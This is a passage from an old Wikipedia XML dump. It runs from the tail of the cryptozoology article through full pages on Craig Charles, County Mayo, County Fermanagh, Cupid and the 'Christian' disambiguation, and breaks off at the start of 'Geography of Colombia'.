*[[Bear Lake (Idaho/Utah)|Bear Lake]] (Idaho&amp;Utah/USA)
*[[Chesapeake Bay]] (Maryland/USA)
* [[Gryttjen]] (Sweden)
*[[False Creek]] (Vancouver/Canada)
*[[Faymouth Ency]] (Cornwall/England)
*[[Flathead Lake]] (Montana/USA)
*[[Kleifarvatn]] (Iceland)
*[[Lake Champlain]] (USA/Canada)
*[[Lake Erie]] (USA/Canada)
*[[Mjøsa]] (Norway)
*[[Lagarfljót]] (Iceland)
*[[Lake Okanagan]] (Canada)
*[[Lake Simcoe]] (Toronto/Canada)
*[[Lake Tahoe]] (USA)
*[[Lake Thunderbird]] (Oklahoma)
*[[Loch Ness]] (Scotland)
*[[Loch Morar]] (Scotland)
*[[Lough Keane]] (Ireland)
*[[Lough Ree]] (Ireland)
*[[Lough Muck]] (Ireland)
*[[Lake Manitoba]] (Manitoba/Canada)
*[[Menbu]] (China)
*[[Storsjön]] (Sweden)
* [[Tavelsjön]] (Sweden)
*[[Tian-Chi]] (China)
*[[Seljordsvatnet]] (Norway)
*[[Lake Van]] (Turkey)
*[[Deep Cove/ Cadboro Bay]] (British Columbia, Canada)

==Mountain ranges  in which cryptids are said to live==

*[[Himalayas]] ([[India]], [[Pakistan]], [[China]], [[Bhutan]] and [[Nepal]])
*[[Rocky Mountains]] ([[United States|US]]/[[Canada]])
*[[Trinity Alps]] ([[California]], [[United States|US]])

==Lists of cryptids==
* [http://www.bcscc.ca/cryptidlist.htm British Columbia Scientific Cryptozoology Club]
* [http://strangeark.com/checklist/guide.html Strangeark]

==Other external links==

* [http://www.isidore-of-seville.com/mermaids/8.html Are Mermaids Real? (Mermaids on the Web)]
* [http://www.cfz.org.uk/ Centre for Fortean Zoology]
* [http://www.cryptoworld.net/ Cryptoworld] News, Info, Links and Expedition Reports
* [http://www.cryptozoology.net/ Cryptozoolgical Realms] general info on cryptzoology
* [http://www.cryptozoology.com Cryptozoology.com]
* [http://dinojoe.8m.com/crypto/cryptolinks.html Cryptozoology links]
* [http://www.parascope.com/en/cryptozoo/index.htm Enigma Cryptozoo, a website about cryptids]
* [http://www.gust.st GUST- Global Underwater Search Team (Swedish, English)]
*[http://dmoz.org/Science/Anomalies_and_Alternative_Science/Cryptozoology/ Open Directory Project - Cryptozoology] directory category
* [http://www.pabigfootsociety.com Pennsylvania Bigfoot Society]
* [http://www.pibburns.com/cryptozo.htm Pibburns's Crytozoology links] 
* [http://www.swampcreature.com Swamp Creature.com]
* [http://www.lorencoleman.com  The Cryptozoologist]
* [http://www.internationalsocietyofcryptozoology.org/ The International Society of Cryptozoology]
* [http://www.mothman.us The Mothman]
* [http://www.theshadowlands.net The Shadowlands]

==Sources==
*Jerome Clark, &amp;#8216;&amp;#8217;Unexplained! 347 Strange Sightings, Incredible Occurrences, and Puzzling Physical Phenomena&amp;#8217;&amp;#8217;, Visible Ink Press, 1993.
*[[Loren Coleman]] and Jerome Clark, &amp;#8216;&amp;#8217;Cryptozoology A to Z&amp;#8217;&amp;#8217;, Fireside/Simon and Schuster, 1999.
*Loren Coleman, &amp;#8216;&amp;#8217;Tom Slick: True Life Encounters in Cryptozoology&amp;#8217;&amp;#8217;, Linden Press, 2002
*Bernard Heuvelmans, &amp;#8216;&amp;#8217;On The Track Of Unknown Animals&amp;#8217;&amp;#8217;, Hill and Wang, 1958
*Bernard Heuvelmans, &amp;#8216;&amp;#8217;In the Wake of the Sea-Serpents&amp;#8217;&amp;#8217;, Hill and Wang, 1968
*[[Karl Shuker]], &amp;#8216;&amp;#8217;In Search of Prehistoric Survivors&amp;#8217;&amp;#8217;, Blandford, 1995
*Karl Shuker, &amp;#8216;&amp;#8217;From Flying Toads To Snakes With Wings&amp;#8217;&amp;#8217;, Llewellyn, 1997
*Karl Shuker, &amp;#8216;&amp;#8217;The Beasts That Hide From Man&amp;#8217;&amp;#8217;, Paraview, 2003

==See also==

* [[:Category:Cryptids|Cryptids]]
* [[Index of fictional species]]
* [[Legendary creature]]
* [[List of legendary creatures]]
* [[List of notable figures in cryptozoology]]
* [[List_of_publications_in_biology#Cryptozoology | Important publications in cryptozoology]]
* [[Monster]]
* [[Cryptic (zoology)]] - animals that are difficult to observe due to their behaviour or [[camouflage]]
* [[Pseudoscience]] and [[protoscience]] - due to some fields of study in cryptozoology

Related studies:

* [[Cryptotaxonomy]]
* [[Paleocryptoanthropology]]
* [[Xenobiology]]

[[Category:Cryptids]]
[[Category:Protoscience]]
[[Category:Zoology| cryptozoology]]
[[Category:Cryptozoology| ]]
[[Category:Legendary creatures]]
[[Category:Forteana]]

[[da:Kryptozoologi]]
[[de:Kryptozoologie]]
[[es:Criptozoología]]
[[eo:Kriptozoologio]]
[[fr:Cryptozoologie]]
[[ko:미확인동물학]]
[[is:Duldýrafræði]]
[[it:Criptozoologia]]
[[he:קריפטוזואולוגיה]]
[[hu:Kriptozoológia]]
[[nl:Cryptozoölogie]]
[[ja:未確認動物学]]
[[no:Kryptozoologi]]
[[pl:Kryptozoologia]]
[[pt:Criptozoologia]]
[[ru:Криптозоология]]
[[sl:Kriptozoologija]]
[[sr:Криптозоологија]]
[[fi:Kryptozoologia]]
[[sv:Kryptozoologi]]</text>
    </revision>
  </page>
  <page>
    <title>Craig Charles</title>
    <id>5829</id>
    <revision>
      <id>40877924</id>
      <timestamp>2006-02-23T16:43:24Z</timestamp>
      <contributor>
        <username>Arniep</username>
        <id>483481</id>
      </contributor>
      <comment>rvv</comment>
      <text xml:space="preserve">[[Image:Craig_charles.jpg|frame|Craig Charles]]'''Craig Charles''' (born [[July 11]], [[1964]], [[Liverpool]], [[England]]) is a [[United Kingdom|British]] [[actor]], [[poet]], [[radio]] and [[television presenter]]. He is best known for playing [[Dave Lister]] in ''[[Red Dwarf]]''.

Before turning to entertainment, Charles played [[football (soccer)|football]] (most notably for [[Tranmere Rovers F.C.|Tranmere Rovers]]). He started his career as a [[performance poet]] on the British [[cabaret]] circuit, appearing as on the late-night [[comedy]] programme, ''Saturday Live'', and later as a presenter of [[children's television]] programmes including ''What's That Noise'' on [[BBC 1]]. He also appeared weekly as a [[John Cooper Clarke]]-style 'punk poet' on the [[BBC]] pop music television programme The ''Oxford Road Show'', calling himself ''Susan Williams''. He presented the [[virtual reality]] [[gameshow]] ''[[CyberZone]]'', shown in [[1993]] on [[BBC Two]], the [[reality television]] show ''[[Jailbreak]]'', on [[Five (TV)|five]] in [[2000]], the late night chat show ''[[Weapons of Mass Distraction]]'' in [[2004]] and ''Funky Bunker'' on [[ITV1]]. In [[1997]] Craig played the title role in the short-lived [[Channel 4]] [[sitcom]] ''[[Captain Butler]]''.

He was married to [[Cathy Tyson]] from [[1984]] to [[1989]] and married his second wife, Jackie, on [[August 9]], [[1999]].

Craig Charles acquired cult status as the [[Liverpool|Liverpudlian]] slob, Dave Lister, in the series ''[[Red Dwarf]]''. From [[1998]] until [[2004]], he presented the '[[game show]]' ''[[Robot Wars]]'', on [[BBC Two]] (from [[1998]]-[[2003]]) and [[Five (TV)|five]] (from [[2003]]-[[2004]]).

He is also a [[DJ]] on the radio station [[BBC 6 Music]], presenting 'The Craig Charles Funk Show,' the best known possibly only radio show in the UK in it's genre. The show currently plays its blend of funk and soul every Friday and Saturday evening.

In [[1994]], Charles and a friend were arrested and remanded in custody for several months on a [[rape]] charge.  At their trial the following year, they were both exonerated. Craig's [[prison|imprisonment]] delayed the production of ''Red Dwarf - series VII''.

Craig was also the [[voice-over]] man for the UK version of the [[Japan]]ese hit TV-show ''[[Takeshi's Castle]]'', shown on [[Challenge]]. In [[2005]] he participated in [[Channel 4]] reality sports show, ''[[The Games (British TV)|The Games]]'', coming 4th overall in the men's competition, despite missing two events due to injury.

Craig joined the cast of long-running serial ''[[Coronation Street]]'' in [[2005]], his first appearance having been aired on [[June 20]]. He plays a philandering taxi driver called Lloyd.

==Credits==

&quot;Coronation Street&quot; (1960) TV Series:Lloyd Mullaney (2005-)
#Fated (2005/I) .... Pedro
#Ten Minutes (2003) .... Mark
#Sushi TV (2003) TV Series .... Narrator (after replacing Julian Clary as the original Narrator and UK version)
# EastEnders: Ricky and Bianca (2002) (TV) .... Vince
# Don't Walk (2001) (voice) .... Narrator
# Can't Smeg Won't Smeg (1998) (TV) .... Dave Lister
# &quot;Captain Butler&quot; (1997) TV Series .... Captain Butler
# &quot;Cyberspace&quot; (1996) TV Series
# &quot;The Governor&quot; (1995) TV Series .... Eugene Buffy
# Red Dwarf: Smeg Outs (1995) (V) (also archive footage) .... Dave Lister/Himself
# Asterix in Amerika (1994) (voice) .... Asterix
# Red Dwarf: Smeg Ups (1994) (V) (also archive footage) .... Dave Lister/Himself
# Prince Cinders (1993) (voice) .... Cat
# Comic Relief (1991) (TV) .... Dave Lister
# Super Nintendo video - Commentator
# &quot;Takeshi's Castle&quot; (1990) TV Series .... Narrator (UK version)
# &quot;Red Dwarf&quot; (1988) TV Series .... Dave Lister

==Filmography==

# &quot;The Marksman&quot; (1987) (mini) TV Series .... McFadden
# Business as Usual 
# &quot;The Games&quot; (2003) TV Series .... Himself (Series 3) (2005)
# Forty Years of Fuck (2005) (TV) .... Himself
# &quot;Britain's Best Sitcom&quot; (2004) TV Series .... Himself
# The Sitcom Story (2003) (TV) .... Himself
# &quot;Takeshi's Castle&quot; (2002) TV Series .... Himself - Narrator
# Top Ten TV Sci-Fi (2001) (TV) .... Himself
# &quot;Jailbreak&quot; (2000) TV Series .... Himself - Host
# &quot;Robot Wars&quot; (1998) TV Series .... Himself - Host (1999-2004)
# The Colour of Funny (1999) .... Keith Dennis
# &quot;Ripley's Believe It or Not!&quot; (1999/I) TV Series .... Himself - UK Presenter
# Universe Challenge (1998) (TV) .... Himself
# &quot;Space Cadets&quot; (1997) TV Series .... Himself - Space Captain
# &quot;Funky Bunker&quot; (1997) TV Series .... Himself
# &quot;Cyberzone&quot; (1993) TV Series .... Himself - Host
# &quot;Cyberpunks and Technophobes&quot; (1993) TV Series .... Himself
# Ghostwatch (1992) (TV) .... Himself
# &quot;Them and Us&quot; (1992) TV Series .... Himself
# &quot;What's That Noise&quot; (1989) TV Series .... Himself
# &quot;Craig Goes Mad in Melbourne&quot; (1988) TV Series .... Himself
# &quot;Night Network&quot; (1987) TV Series .... Himself

==External links==
* {{imdb name|id=0153002|name=Craig Charles}}
* [http://www.bbc.co.uk/6music/shows/craig_charles/ The Craig Charles Funk Show (BBC 6Music)]


[[Category:1964 births|Charles, Craig]]
[[Category:BBC 6 Music DJs|Charles, Craig]]
[[Category:Black British actors|Charles, Craig]]
[[Category:British actors|Charles, Craig]]
[[Category:British comedians|Charles, Craig]]
[[Category:British television presenters|Charles, Craig]]
[[Category:Coronation Street actors|Charles, Craig]]
[[Category:Liverpudlians|Charles, Craig]]
[[Category:Living people|Charles, Craig]]
[[Category:People of Irish descent in Great Britain|Charles, Craig]]
[[Category:Radio DJs in the UK|Charles, Craig]]
[[Category:Red Dwarf actors|Charles, Craig]]
[[Category:Soap opera actors|Charles, Craig]]</text>
    </revision>
  </page>
  <page>
    <title>County Mayo</title>
    <id>5830</id>
    <revision>
      <id>41783043</id>
      <timestamp>2006-03-01T18:45:51Z</timestamp>
      <contributor>
        <username>Djegan</username>
        <id>49447</id>
      </contributor>
      <minor />
      <comment>partial rv - use common spellings</comment>
      <text xml:space="preserve">{{Ireland county infobox|
  county_name = County Mayo |
  Irish_name = Contae Mhaigh Eo|
  crest_image = MOwik.PNG|
  county_map = IrelandMayo.png |
  area = 5,397 km² |
  county town = [[Castlebar]] |
  code = MO |
  population = 117,428 |
  census_yr = 2002 |
  Province = Connacht |
|}}
'''County Mayo''' ([[Irish language|Irish]]: ''Contae Mhaigh Eo'', the plain of the yews) is a [[county]] on the west coast of [[Ireland]]. It is in the province of [[Connacht]]. The county town of Mayo is [[Castlebar]], which is also the largest town.  [[Ballina]] is the second largest town. Mayo is bordered to the south by [[County Galway|Galway]], to the east by [[County Roscommon|Roscommon]], and to the north-east by [[County Sligo|Sligo]].

The [[shrine]] of [[Knock]] is in Mayo close to the border with [[County Roscommon]]. Mayo is also home to [[Croagh Patrick]] a mountain where [[St. Patrick]] is said to have fasted for forty days and nights.

The highest point in Mayo and Connacht is [[Mweelrea]] (814 metres). The river [[River Moy|Moy]] in the northeast of the county is renowned for its [[salmon]] [[fishing]]. Ireland's largest island, [[Achill]], is in Mayo.

Mayo is also noted for its [[Gaelic Football]] team, and their struggle to capture the All-Ireland Football Title in recent years. They last won the [[Sam Maguire]] Cup in [[1951]]. Mayo's most recent All-Ireland final losses have been in 1989, 1996, 1997 and 2004.

[[Michael Davitt]], founder of the [[Land League]], was born in Mayo. The [[Michael Davitt Bridge|bridge to Achill]] is named after him.

The south of [[Inishturk]] island has a small secessionist movement which seeks to join with [[County Galway]] to the south, although so far they have made little progress.

==Politics in County Mayo==

In July and August 2005, at [[Rossport]] in the north of the county, there have been protests at the decision of [[Royal Dutch Shell|Shell]] to refine [[natural gas]] from the [[Corrib Gas Field]] onshore. This would entail piping the gas through inhabited areas without the chemical that allows people to smell the gas when there is a leak. Five men were jailed for refusing to allow the pipeline through their lands. They have become known as the [[Rossport Five]].

==Towns and villages in County Mayo==
*[[Achill Sound]] (Gob an Choire), [[Aughagower]], [[Aughleam]] (An Eachléim)
*[[Balla]], [[Ballina]], [[Ballindine]], [[Ballinrobe]], [[Ballintubber]], [[Ballycastle, County Mayo|Ballycastle]], [[Ballyhaunis]], [[Bangor Erris]], [[Bekan]], [[Bellavary]], [[Belderrig]] (Béal Deirg), [[Belmullet]] (Béal a' Mhuirthid)
*[[Carrowteige]] (Ceathrú Thaidhg), [[Castlebar]], [[Castlehill]], [[Charlestown, County Mayo|Charlestown]], [[Claremorris]], [[Cong, County Mayo|Cong]], [[Cregganbaun]], [[Cross, County Mayo|Cross]], [[Crossmolina]]
*[[Foxford]]
*[[Glenhest]]
*[[Hollymount]]
*[[Keel, County Mayo|Keel]], [[Kilkelly]], [[Killala]], [[Kilmaine]], [[Kilsallagh]], [[Kiltamagh]], [[Knock]] 
*[[Lahardane]], [[Lecanvey]], [[Louisburgh, County Mayo|Louisburgh]]
*[[Mayo, County Mayo|Mayo]], [[Mulrany]], [[Murrisk]]
*[[Neale]], [[Newport, County Mayo|Newport]] 
*[[Partry]], [[Pontoon, County Mayo|Pontoon]]
*[[Ross Port]] (Ros Dumhach)
*[[Shrule]], [[Strade]], [[Swinford]]
*[[Toormakeady]] (Tuar Mhic Éadaigh)
*[[Westport, County Mayo|Westport]]

==Other places in County Mayo==

* [[Ashford Castle]]
* [[Achill Island]]
* [[Ballintubber Abbey]]
* [[Clare Island]]
* [[Croagh Patrick]]
* [[Ireland West Airport Knock|Knock International Airport]]
* [[Lough Mask]]
* [[Mullet Peninsula]]
* [[Nephin Beg Mountains]]
* [[Partry Mountains]]
* [[Rockfleet Castle]]

==See also==
*[[Castlebar transmitter]]
*[[Connacht Irish]]

==External links==
* [http://www.mayococo.ie/ Mayo County Council's website]
* [http://www.mayo-ireland.ie/MotM.htm  Tourism in West Ireland]
* [http://www.mayo-online.com/  Mayo Web Directory]
* [http://www.shamrockcottages.co.uk/maps/mayo.jpg Map of Mayo]
* [http://www.westernpeople.ie/  Western People]

{{Ireland_counties}}

[[Category:Counties of Ireland|Mayo]]

[[ast:Condáu de Mayo]]
[[ca:Comtat de Mayo]]
[[de:Mayo]]
[[es:Condado de Mayo]]
[[fr:Comté de Mayo]]
[[ga:Contae Mhaigh Eo]]
[[it:Mayo (contea)]]
[[nl:County Mayo]]
[[no:Mayo (grevskap)]]
[[pl:Mayo (hrabstwo)]]
[[pt:Condado de Mayo]]
[[ro:Comitatul Mayo]]
[[sv:Mayo (grevskap)]]
[[uk:Майо]]</text>
    </revision>
  </page>
  <page>
    <title>County Fermanagh</title>
    <id>5833</id>
    <revision>
      <id>40693111</id>
      <timestamp>2006-02-22T09:53:03Z</timestamp>
      <contributor>
        <username>Setanta747</username>
        <id>469399</id>
      </contributor>
      <comment>/* Industry and Tourism */</comment>
      <text xml:space="preserve">{{Ireland county infobox|
  county_name = County Fermanagh |
  Irish_name = Contae Fhear Manach|
  crest_image = Fermanagh crest.PNG|
  county_map = NorthernIrelandFermanagh.png |
  area = 1,691 km² |
  county town = [[Enniskillen]] |
  code =  |
  population = 55,000 |
  census_yr = estimate |
  Province = Ulster |
|}}
'''County Fermanagh''' (''Contae Fhear Manach'' or ''Fear Manach'' in [[Irish language|Irish]]), is the westernmost of the six counties that form [[Northern Ireland]]. It belongs to the province of [[Ulster]]. Fermanagh is often referred to as [[Ireland]]'s [[Lake District]]. The county is approximately 120 km from [[Belfast]] and 160 km from [[Dublin]]. 

In Northern Ireland the county borders [[County Tyrone]] to the north-east, and in the [[Republic of Ireland]] the county borders [[County Monaghan]] to the south-east, [[County Cavan]] and [[County Leitrim]] to the south-west and [[County Donegal]] to the north-west. Fermanagh is the only county of Northern Ireland not to border [[Lough Neagh]].

== Administration ==
[[Fermanagh District Council]] is the one of the 26 district councils in Northern Ireland that contains all of the county it is named after, plus a small section of [[County Tyrone]] in the [[Dromore, County Tyrone|Dromore]] and [[Kilskeery]] road areas. 

Fermanagh is part of the [[Fermanagh and South Tyrone (UK Parliament constituency)|Fermanagh and South Tyrone Parliamentary Constituency]], renowned for high levels of voting and for electing [[Provisional Irish Republican Army|Provisional IRA]] [[hunger strike|hunger-striker]] [[Bobby Sands]] as a [[Member of Parliament]] in a [[Fermanagh &amp; South Tyrone by-election, 1981 (April)|by-election]] shortly before his death in [[1981]].

== Geography ==
[[image:www.wesleyjohnston.com-users-ireland-maps-counties-fermanagh.gif|left|thumb|Map from www.irelandstory.com]]

County Fermanagh is a predominantly rural region with its geography dominated by two lakes: Upper Lough Erne and Lower Lough Erne. This 70-km stretch of lakes, known collectively as [[Lough Erne]], is now linked to the [[River Shannon]] and its waterways via the [[Shannon-Erne Waterway]] [[canal]], making the entire system the longest navigable inland [[waterway]] in [[Europe]]. Smaller lakes in the county include [[Lough Scolborn]]. In addition, Fermanagh shares many lakes: [[Lough Melvin]] (with the Republic of Ireland), [[Lough Macnean Upper]] and [[Lough Macnean Lower]] (both lying on the [[County Cavan|Cavan]] border).

The peak of [[Cuilcagh]], part of the Cuilcagh Mountains range, on the Fermanagh/Cavan border is the highest point in Fermanagh (665 metres, 2,182 feet). Other mountains/ranges include [[Belmore Mountain]], [[Tappghan Mountain]] (on the border with Tyrone), [[Brougher Mountain]] (on the border with Tyrone), [[Molly Mountain]], [[Slieve Rushen]] (on the border with Cavan), [[Derrin Mountain]] and [[Slieve Beagh]] (on the Tyrone border). Much of the western and eastern areas of the county are forested.

==Industry and Tourism==
Agriculture and tourism are two of the most important industries in Fermanagh. The main types of farming in the area are beef, dairy, sheep, pigs and some poultry. Most of the agricultural land is used as grassland for grazing and silage or hay rather than for other crops.
  
The waterways are extensively used by cabin cruisers, other small pleasure craft and anglers. The main town of Fermanagh is [[Enniskillen]] (''Inis Ceithleann'', Ceithleann's island). The island town hosts a range of attractions including the [[Castle Coole]] Estate and [[Enniskillen Castle]], which is home to the [[museum]] of The Royal Inniskilling Fusiliers and the [[5th Royal Inniskilling Dragoon Guards]]. 

Attractions outside of Enniskillen include:
* The [[Belleek]] [[Belleek Pottery|Pottery]]
* Crom Estate
* [[Devenish Island]]
* [[Florence Court]]
* Loughnavar Forest Park
* The [[Marble Arch Caves]]
* [[Necarne]] Castle

== Notable People ==
Famous people born, raised in or living in Fermanagh.

* [[John Armstrong]], US congressman
* [[Denis P Burkitt]], doctor - discoverer of [[Burkitt's lymphoma]]
* [[Roy Carroll]], footballer
* [[Nigel Dodds]], politician
* [[Adrian Dunbar]], actor
* [[Neil Hannon]], musician
* [[Bobby Kerr]], athlete &amp; Olympic Gold Medalist
* [[Ciarán McMenamin]], actor
* [[Sean Quinn]], entrepreneur
* [[Sinead Quinn]], singer (Fame Academy runner up 2003)
* [[Gordon Wilson (peace campaigner)|Gordon Wilson]], Peace campaigner and Irish senator

== References ==
*Fermanagh: its special landscapes: a study of the Fermanagh countryside and its heritage /Department of the Environment for Northern Ireland. - Belfast: HMSO, 1991 ISBN 0337082766
*Friel, Charles P.. - Fermanagh's railways : a photographic tribute / Charles P. Friel, Norman Joh. - Newtownards, Co. Down: Colourpoint Press, 1998. ISBN 1898392390
*Livingstone, Peadar. - The Fermanagh story :a documented history of the County Fermanagh from the earliest times to the present day - Enniskillen: Cumann Seanchais Chlochair, 1969.
*Lowe, Henry N. - County Fermanagh 100 years ago: a guide and directory 1880. - Belfast: Friar's Bush Press, 1990. ISBN 0946872295
*Parke, William K. - A Fermanagh Childhood. Derrygonnelly, Co Fermanagh: Friar's Bush Press, 1988. ISBN 0946872120

== External links ==
* [http://www.enniskillen.com Enniskillen.Com]

== See also ==

*[[List of places in County Fermanagh]]

{{Ireland_counties}}

[[Category:Counties of Ireland|Fermanagh]]
[[Category:Ulster|Fermanagh]]
[[Category:County Fermanagh|*]]&lt;!--articles d dining categories should also be in supercategory/s --&gt;

[[ast:Condáu de Fermanagh]]
[[ca:Comtat de Fermanagh]]
[[de:Fermanagh (County)]]
[[es:Condado de Fermanagh]]
[[fr:Comté de Fermanagh]]
[[ga:Contae Fhear Manach]]
[[nl:County Fermanagh]]
[[no:Fermanagh (grevskap)]]
[[fi:Fermanagh]]
[[sv:Fermanagh (grevskap)]]</text>
    </revision>
  </page>
  <page>
    <title>Cupid</title>
    <id>5834</id>
    <revision>
      <id>42105350</id>
      <timestamp>2006-03-03T21:35:09Z</timestamp>
      <contributor>
        <username>CaveatLector</username>
        <id>587577</id>
      </contributor>
      <comment>&quot;Eros&quot; is not Latin</comment>
      <text xml:space="preserve">{{otheruses1|the Roman god}}
: ''For the album ''Cupid?'' by [[Stabilo (band)|Stabilo]], see [[Cupid?]]
[[Image:Cupidon.jpg|thumb|250px|float|[[Cupidon]] (French for Cupid), by [[William-Adolphe Bouguereau]], 1875.]]

In [[Roman mythology]], '''Cupid''' is the [[god]] of [[erotic]] [[love]]. He is equated with the [[Ancient Greece|Greek]] God [[Eros (mythology)|Eros]] and another one of his [[Latin]] names Amor.

== Cupid's lineage ==
There are differing stories about his parentage. [[Cicero]] provides three different lineages: son of [[Mercury (mythology)|Mercury]] ([[Hermes]]) and [[Diana (goddess)|Diana]] ([[Artemis]]), son of Mercury and [[Venus (mythology)|Venus]] ([[Aphrodite]]), and son of [[Mars (mythology)|Mars]] ([[Ares]] in Greek mythology) and Venus. Plato mentions two of these, and [[Hesiod]]'s [[Theogony]], the most ancient Greek theoography, says that Cupid was created coevally with [[Chaos (mythology)|Chaos]] and the earth.

Throughout ancient mythological writing, there appear to be either two Cupids or two sides to the figure of Cupid. One is the son of [[Jupiter (mythology)|Jupiter]] ([[Zeus]]) and Venus. He is a lively youth who delights in pranks and spreading love. The other is a son of [[Nyx]] and [[Erebus]], known for riotous debauchery.

== Cult ==
Cupid's cult was closely associated with that of Venus, with Cupid being worshipped as devotedly as she. Additionally, Cupid's power was supposed to be even greater than his mother's, since he had dominion over the dead in [[Hades]], the creatures of the sea and the gods in [[Mount Olympus|Olympus]]. Some of the cults of Cupid suggested that Cupid as son of Night and Hell mated with Chaos to produce both men and gods, making the gods the offspring of love.

== Portrayal in art and literature ==
[[Image:Amor Victorious.jpg|left|thumb|[[Caravaggio]]'s ''[[Amor Vincit Omnia]]'']]
&lt;!-- Image with unknown copyright status removed: [[Image:cupidbutterfly.jpg|right|thumb|[[Chaudet]]'s ''[[Cupid and the Butterfly]]'']] --&gt;
In [[painting]] and [[sculpture]], Cupid is portrayed as a nude winged boy armed with a bow and a quiver of arrows. The traditional [[Christianity|Christian]] depiction of a [[cherub]] is based on him. On gems and other surviving pieces, he is usually shown amusing himself with childhood play, sometimes driving a hoop, throwing darts, catching a butterfly, or flirting with a [[nymph]]. He is often depicted with his mother (in graphic arts, this is nearly always Venus), playing a horn. He is also shown wearing a helmet and carrying a buckler, perhaps in reference to [[Virgil]]'s ''Omnia vincit amor'' or as [[political satire]] on wars for love or love as war.

Cupid figures prominently in [[ariel poetry]], lyrics and, of course, [[elegiac]] love and [[metamorphic poetry]]. In epic poetry, he is less often invoked, but he does appear in [[Virgil]]'s ''[[Aeneid]]'' changed into the shape of [[Ascanius]] inspiring [[Dido]]'s love. In later literature, Cupid is frequently invoked as fickle, playful, and perverse. He is often depicted as carrying two sets of arrows: one set gold-headed, which inspire love; and the other lead-headed, which inspire hatred.

The best-known story involving Cupid is the tale of [[Cupid and Psyche]].
&lt;br clear=all&gt;

== See also ==
*[[Roman mythology]]
*[[Eros (mythology)|Eros]]
*[[Kamadeva|Kama]], the god of love in [[Hinduism]].


&lt;!--Categories--&gt;
[[Category:Roman gods]]
[[Category:Love and lust gods]]

&lt;!--Other languages--&gt;
[[ar:كيوبد]]
[[de:Amor (Mythologie)]]
[[es:Cupido]]
[[he:קופידון]]</text>
    </revision>
  </page>
  <page>
    <title>Christian (disambiguation)</title>
    <id>5835</id>
    <revision>
      <id>40627931</id>
      <timestamp>2006-02-21T22:53:10Z</timestamp>
      <contributor>
        <username>RhomboidFive</username>
        <id>958988</id>
      </contributor>
      <text xml:space="preserve">{{disambig}}
'''Christian''' may refer to several different subjects:

*A '''[[Christian]]''' is an adherent of the [[religion]] [[Christianity]]; ''Christian'' is also an adjective referring to Christianity.&lt;br&gt;
**In [[North America]] and the [[Western world|West]] today, ''Christian'' is often used in contradistinction to [[Catholicism|Catholics]] (and other non-Protestants), to refer to [[Evangelical]] or [[Protestantism|Protestant]] Christians.
**In some Western languages, the word &quot;Christian&quot; was used in earlier [[time period|periods]] to mean &quot;[[human being]].&quot;
**A ''[[Christian name]]'' in [[Commonwealth English]] is a [[first name]] or [[given name]].

*'''Christian''' is a popular [[first name]] and [[surname]], in the [[Western world|West]], especially in Northern [[Europe]].  The use of ''Christian'' as a personal name derives from its use to describe followers of Christianity.  Today in Europe—though not the United States—it is almost exclusively used as a male name, but in the 17th and 18th centuries it was a popular female first name in [[Scotland]]. Female versions of the name include [[Christine (disambiguation)|Christine]], [[Christina]], [[Kristen (name)|Kristen]], [[Kristin]], and [[Kirsten]].  Holders of the name ''Christian'' may go by the [[nicknames]] or shortened forms &quot;[[Chris]],&quot; &quot;[[Chrissy]]&quot; or &quot;Kissa&quot; (in [[Norwegian language|Norwegian]]).
** The name of several [[List of Danish monarchs|kings of Denmark]]
** The name of the protagonist in [[John Bunyan]]'s [[allegory|allegorical]] [[novel]] ''[[The Pilgrim's Progress]]''
** The surname of [[Fletcher Christian]], the leader of the [[mutiny|mutineers]] on the ''[[Mutiny on the Bounty (history)|HMAV Bounty]]'' and the founder of a [[colony]] on [[Pitcairn Island]]
** A [[stage name]] of [[Canada|Canadian]] [[professional wrestler]] [[Jason Reso]].  He currently goes by the slightly-extended '''Christian Cage'''.
** [[Christian of Oliva]], 13th century [[Cistercian]] monk and the first [[bishop]] of [[Prussia (Baltic)| Prussia]].
** The 1980s British music group [[The Christians]] also derive their name from popular, rather than religious, naming convention


;Other languages
* Chrétien ([[French language|French]])
* Cristiano ([[Italian language|Italian]])
* Christ  ([[German language|German]])


:''See also:'' [[Special:Allpages/Christian|List of all pages beginning with &quot;Christian&quot;]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Colombia</title>
    <id>5836</id>
    <revision>
      <id>41609233</id>
      <timestamp>2006-02-28T14:06:25Z</timestamp>
      <contributor>
        <username>Blastwizard</username>
        <id>425784</id>
      </contributor>
      <comment>Revert to revision 39947488 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">[[image:colombia.png|right|Map Of Colombia]]			
[[Image:Colombia_rel_2001.jpg|thumb|200px|Shaded relief map of Colombia]]
[[Image:Colombia.A2004117.1535.250m.jpg|thumb|200px|Flooding in Colombia, April 2004]]
[[Image:Colombia_land_1970.jpg|thumb|200px|Land use map of Colombia, 1970]]
[[Image:Colombia_econ_1970.jpg|thumb|200px|Economic activity map of Colombia, 1970]]

'''[[Colombia]]''' is located in the North of [[South America]] (4 00 N, 72 00 W) and part of [[Caribbean South America]]. It is the only South American country with coast in both oceans ([[Atlantic]] or [[Caribbean Sea]] with 1,760 km and [[Pacific Ocean]] with 1,448 km. Colombia borders the following: North with the Caribbean Sea (sea boaders with [[Jamaica]], [[Haiti]] and [[Dominican Republic]]). West with [[Panama]] (225 km) and sea borders with [[Costa Rica]] both in the Pacific and Atlantic Ocean and [[Nicaragua]]. South with [[Ecuador]] (590 km), [[Peru]] (1,496 km) and [[Brazil]] (1,643 km). East with Brazil and [[Venezuela]] (2,050 km). 

Colombia has a total area of 1,138,910 sq km being the fourth biggest country in South America after Brazil, [[Argentina]] and Peru and the seventh one in the [[The Americas|American Continent]]. From this area, the land has 1,038,700 sq km and the water area has 100,210 sq km. It has also an archipelago in the Caribbean sea (San Andres, Providencia and Santa Catalina) that forms the territory of the department [[San Andrés and Providencia|San Andrés y Providencia]].   

The Colombian climate, though it is in the Tropical area (Ecuador), is made different by the influence of the [[Andes]] range. It is tropical in its coastlands and lowlands and cool in the mountains.

The five traditional natural regions are therefore: the [[Andean Region (Colombia)|Andean Region]], the [[Caribbean Region (Colombia)|Caribbean Region]], the [[Pacific Region (Colombia)|Pacific Region]], the [[Orinoquia Region (Colombia)|Orinoquia Region]] and the [[Amazonia Region (Colombia)|Amazonia Region]].  Some people also include an [[Insular Region (Colombia)|Insular Region]], separated from the coastal regions.

'''Geographic coordinates:'''
{{coor d|4|N|72|W|}}

==Geographic regions==
